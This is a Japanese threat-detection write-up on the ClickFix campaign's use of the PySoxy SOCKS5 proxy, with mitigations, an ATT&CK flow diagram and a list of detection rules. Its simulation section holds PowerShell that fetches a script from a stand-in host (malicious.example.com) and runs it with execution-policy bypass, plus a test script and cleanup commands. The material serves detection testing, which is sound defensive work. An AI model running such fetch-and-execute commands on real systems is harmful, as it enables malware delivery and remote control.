ClickFixの進化:PySoxyプロキシの活用
Detection stack
- AIDR
- Alert
- ETL
- Query
サマリー
ClickFixは、オープンソースのPySoxy SOCKS5プロキシを組み合わせて、暗号化された二次アクセスチャネルを作成する社会工学に基づいた配信手法です。この侵入は、ユーザーが悪意のあるPowerShellコマンドを実行し、スケジュール済みタスクの永続性を確立し、メモリー内のPowerShellコマンド・アンド・コントロールセッションを開始することで始まります。初期偵察の後、攻撃者はPySoxyをダウンロードして実行し、環境内へのもう一つの暗号化経路を確立します。このインタープリター基盤のモジュラー的なツールの使用は、検出とインシデントの囲い込みを一層困難にします。
調査
ReliaQuestは、単一のユーザー駆動型ClickFixコマンドによって難読化されたPowerShellステージャーを起動し、スケジュール済みタスクを作成し、ドメイン偵察を実施し、その後にコンパイルされたPythonバイトコードファイル b64.pycをダウンロードして python.exeで実行されました。PowerShellコンポーネントは軽量のRATとして機能し、3秒ごとにそのコマンド・アンド・コントロールサーバーをポーリングしました。研究者はまた、攻撃者が curl を使用してログをアップロードし、同じステージングサーバーからPySoxyペイロードを取得するのを目撃しました。
軽減策
防御者は、 explorer.exeから発生する疑わしいPowerShellの起動を検出してブロックし、隠されたPowerShellコマンドを実行するスケジュールタスクを監視し、 -ssl, -remote_ip、および -remote_portといったプロキシ関連の引数を使用するPython実行を探すべきです。また、識別されたドメインおよびIPアドレスへのアウトバウンドトラフィックを精査し、永続化されたPowerShellスクリプトまたは .pyc ファイルが ProgramData.
で見つかった場合は削除するべきです。
関連する指標が見つかった場合、すぐに影響を受けたホストを隔離し、侵害されたユーザーアカウントを無効にし、悪意のあるスケジュール済みタスクを削除し、PowerShellスクリプトとPySoxyの遺物を削除し、システムを他の残骸のためにスキャンしてください。防御者は、識別されたインフラストラクチャへのアウトバウンドトラフィックがブロックされていることを確認し、その他の永続性メカニズムが残っていないことを確認するべきです。
"graph TB %% クラス定義 classDef technique fill:#cce5ff %% ノード定義 tech_content_injection["<b>手法</b> – <b>T1659 コンテンツ注入</b><br/><b>説明</b>: 対応者は正当なファイルまたはデータストリームに悪意のあるコンテンツを注入して追加の悪意のある行動を可能にします。"] class tech_content_injection technique tech_user_exec_malicious_link["<b>手法</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b><br/><b>説明</b>: 被害者が作成されたリンクをクリックして悪意のあるコードを起動します。"] class tech_user_exec_malicious_link technique tech_user_exec_psh_stager["<b>手法</b> – <b>T1204 ユーザー実行(PowerShellステージャー)</b><br/><b>説明</b>: ユーザーが追加のペイロードを段階化するPowerShellコマンドを実行します。"] class tech_user_exec_psh_stager technique tech_obf_embedded_payloads["<b>手法</b> – <b>T1027.009 難読化されたファイルまたは情報: 埋め込みペイロード</b><br/><b>説明</b>: ペイロードは他のファイルの中に隠れたり暗号化されたりして検出を回避します。"] class tech_obf_embedded_payloads technique tech_reflective_loading["<b>手法</b> – <b>T1620 リフレクティブコードローディング</b><br/><b>説明</b>: 悪意のあるコードがリフレクティブ技術を使用して直接メモリに読み込まれます。"] class tech_reflective_loading technique tech_scheduled_task["<b>手法</b> – <b>T1053 スケジュールされたタスク/ジョブ</b><br/><b>説明</b>: 永続性を維持するために悪意のあるコードを実行するタスクまたはジョブが作成されます。"] class tech_scheduled_task technique tech_user_exec_psh_rat["<b>手法</b> – <b>T1204 ユーザー実行(メモリ内PowerShell RAT)</b><br/><b>説明</b>: ユーザーは意図せずにメモリ内のPowerShellベースのリモートアクセスツールを実行します。"] class tech_user_exec_psh_rat technique tech_permission_groups["<b>手法</b> – <b>T1069 パーミッショングループの発見</b><br/><b>説明</b>: 対応者はシステム上のパーミッショングループとメンバーを列挙します。"] class tech_permission_groups technique tech_lateral_tool_transfer["<b>手法</b> – <b>T1570 横方向ツール転送</b><br/><b>説明</b>: ツールまたはファイルはcurlアップロードなどで別のホストへ横方向に転送されます。"] class tech_lateral_tool_transfer technique tech_multistage_channels["<b>手法</b> – <b>T1104 マルチステージチャネルズ</b><br/><b>説明</b>: PySoxyなどの追加のペイロードをダウンロードするために余分な通信チャネルが確立されます。"] class tech_multistage_channels technique tech_proxy["<b>手法</b> – <b>T1090 プロキシ</b><br/><b>説明</b>: トラフィックが起源を隠すためにプロキシサーバーを通じて中継されます。"] class tech_proxy technique tech_proxy_external["<b>手法</b> – <b>T1090.002 プロキシ: 外部プロキシ</b><br/><b>説明</b>: 外部プロキシサービスが使用されてさらなるコマンド・アンド・コントロールのトラフィックを隠します。"] class tech_proxy_external technique tech_exfil_alt_proto["<b>手法</b> – <b>T1048 代替プロトコルを使ったデータ流出</b><br/><b>説明</b>: 通常データ転送と関連付けられていないプロトコルを使ってデータが流出されます。"] class tech_exfil_alt_proto technique %% 攻撃フローを示す接続 tech_content_injection –>|leads_to| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|leads_to| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|leads_to| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|leads_to| tech_reflective_loading tech_user_exec_psh_stager –>|enables| tech_scheduled_task tech_scheduled_task –>|leads_to| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|leads_to| tech_permission_groups tech_permission_groups –>|leads_to| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|leads_to| tech_multistage_channels tech_multistage_channels –>|leads_to| tech_proxy tech_proxy –>|leads_to| tech_proxy_external tech_proxy_external –>|leads_to| tech_exfil_alt_proto "
攻撃フロー
検出
アカウントまたはグループの列挙/操作の可能性(cmdline経由)
表示
疑わしいドメイン信頼発見(cmdline経由)
表示
疑わしいCURL使用(cmdline経由)
表示
疑わしいPowerShell文字列(powershell経由)
表示
疑わしいスケジュールタスク(監査経由)
表示
IOC(SourceIP)で検出する:ClickFixがPySoxyプロキシと共に進化
表示
IOC(DestinationIP)で検出する:ClickFixがPySoxyプロキシと共に進化
表示
PySoxyとClickFixの活動を疑わしいアウトバウンド接続で検出 [Windowsネットワーク接続]
表示
ClickFix PowerShell C2活動を検出 [Windows Powershell]
表示
ClickFixキャンペーン – 探索者が難読化されたPowerShellを起動 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件:テレメトリおよびベースラインの事前チェックが合格している必要があります。
根拠:このセクションでは、検出ルールをトリガーするためにデザインされた攻撃者技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃説明とコマンド:
- 目標: リモートサーバーから悪意のあるペイロードをダウンロードしてステルスに実行するPowerShellベースのC2チャネル(ClickFix)を確立します。
- 方法: 攻撃者が開始します
powershell.exeそのルール監視されている特定のフラグを設定した状態で(-NoProfileand-ExecutionPolicy Bypassを使用し、Invoke-WebRequestを用いてペイロードを取得します。 - なぜこの方法を用いるのか: ネイティブのWindows PowerShellと一般的な
Invoke-WebRequestコマンドレットを使用することで、攻撃者はサードパーティツールのダウンロードを避け、AV検出の可能性を減らしながらルールにキャプチャされたClickFixの既知の挙動に適合させています。
# ステップ1: 悪意のあるスクリプトをダウンロードする(無害なテストファイルとしてシミュレーション) $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" Invoke-WebRequest -Uri $url -OutFile $out # ステップ2: 同じ起動パラメータを使用してダウンロードされたスクリプトを実行する powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out -
回帰テストスクリプト:
# ============================================== # ClickFix PowerShell C2シミュレーション (TC-20260514-3G7ZK) # ============================================== # 変数を定義 $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" # 1. ダミーペイロードをダウンロードする(C2取得として機能) Write-Host "[*] ペイロードをダウンロード中..." try { Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing } catch { Write-Error "ダウンロード失敗: $_" exit 1 } # 2. ルールによって監視されるフラグでペイロードを実行 Write-Host "[*] -NoProfile -ExecutionPolicy Bypassでペイロードを実行中" powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out Write-Host "[+] シミュレーション完了。" # ============================================== -
クリーンアップコマンド:
# 一時ペイロードファイルを削除 if (Test-Path $out) { Remove-Item -Path $out -Force Write-Host "[*] ペイロードファイルを削除しました。" } # テストにより起動されたPowerShellプロセスをオプションで停止 Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force Write-Host "[*] クリーンアップ完了。"